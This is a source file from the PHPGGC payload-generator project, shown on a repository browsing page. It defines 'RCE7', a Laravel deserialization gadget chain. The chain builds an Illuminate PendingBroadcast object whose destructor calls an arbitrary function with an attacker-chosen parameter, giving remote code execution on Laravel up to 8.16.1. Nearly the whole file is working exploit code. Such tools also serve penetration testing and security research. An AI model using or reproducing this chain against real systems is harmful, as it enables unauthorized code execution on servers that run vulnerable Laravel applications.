Codebase list phpggc / a334346 gadgetchains / Laravel / RCE / 7 / chain.php
a334346

Tree @a334346 (Download .tar.gz)

chain.php @a334346raw · history · blame

<?php

namespace GadgetChain\Laravel;

class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '? <= 8.16.1'; // will test for more version at a later date
    public static $vector = '__destruct';
    public static $author = 'whira';
    public static $information = 'This chain throws a RuntimeException immediately after code execution.';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \Illuminate\Broadcasting\PendingBroadcast(
            $function, 
            $parameter
        );
    }
}